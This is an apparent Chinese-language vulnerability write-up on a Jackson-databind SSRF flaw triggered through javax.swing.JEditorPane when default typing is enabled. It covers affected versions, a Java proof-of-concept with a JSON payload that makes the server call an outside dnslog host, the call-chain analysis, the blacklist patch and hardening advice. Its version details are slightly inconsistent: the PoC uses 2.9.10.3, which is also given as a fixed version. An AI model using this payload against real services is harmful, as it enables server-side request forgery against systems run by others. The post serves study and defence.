Jackson-databind SSRF浅析
字数 1354 2025-08-25 22:59:09
Jackson-databind SSRF漏洞分析与防护指南
漏洞概述
Jackson-databind在特定条件下存在SSRF(Server-Side Request Forgery)漏洞,攻击者可通过构造恶意JSON数据触发服务端发起任意HTTP请求。
影响范围
- jackson-databind < 2.9.10.3
- jackson-databind < 2.10.2
利用条件
- 开启了
enableDefaultTyping()功能
漏洞原理
该漏洞利用javax.swing.JEditorPane类在反序列化时的特性,该类是JDK自带组件,无需额外依赖。当Jackson反序列化包含特定构造的JSON数据时,会触发JEditorPane.setPage()方法,进而导致服务端发起HTTP请求。
环境搭建
依赖配置(pom.xml)
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.3</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
漏洞复现
PoC代码
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"javax.swing.JEditorPane\",{\"page\":\"http://qb7fky.dnslog.cn\"}]";
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
触发效果
执行上述代码后,DNSlog平台会收到来自服务端的HTTP请求。
漏洞分析
关键调用链
JEditorPane.setPage()方法被调用- 方法内部检查page参数不为空后初始化页面上下文
- 调用
getAsynchronousLoadPriority()获取加载优先级(返回-1) - 进入同步加载分支
- 调用
getStream()方法处理URL page.openConnection()创建HttpURLConnection对象- 最终调用
InetAddress.getByName()解析主机名
核心触发点
在InetAddress.getByName()调用时,会解析并请求我们构造的恶意URL,这是SSRF触发的根本原因。整个流程涉及多个关键判断:
loaded变量初始为null,导致进入同步加载分支getAsynchronousLoadPriority()返回-1,满足p < 0条件doInput为true,允许URL连接进行输入- 最终通过
HttpClient建立连接并解析DNS
补丁分析
官方通过黑名单机制修复此漏洞,将javax.swing.JEditorPane添加到反序列化黑名单中。但这种修复方式存在局限性,可能被其他未在黑名单中的类绕过。
补丁提交记录:
https://github.com/FasterXML/jackson-databind/commit/4d038c9de0aa80a5dae27f552a975cb39cc42b60
修复建议
-
升级组件:
- 将jackson-databind升级到安全版本(≥2.9.10.3或≥2.10.2)
-
配置加固:
- 如非必要,不要启用
enableDefaultTyping() - 使用
@JsonTypeInfo注解替代全局的default typing
- 如非必要,不要启用
-
环境加固:
- 升级到较高版本的JDK
- 配置网络策略,限制应用服务器的出站连接
-
防御措施:
- 实施反序列化过滤器
- 对反序列化操作进行严格的输入验证
总结
该漏洞展示了Jackson-databind在启用default typing时的安全隐患,通过JDK自带类即可触发SSRF。开发者应谨慎使用反序列化功能,并及时更新相关组件到安全版本。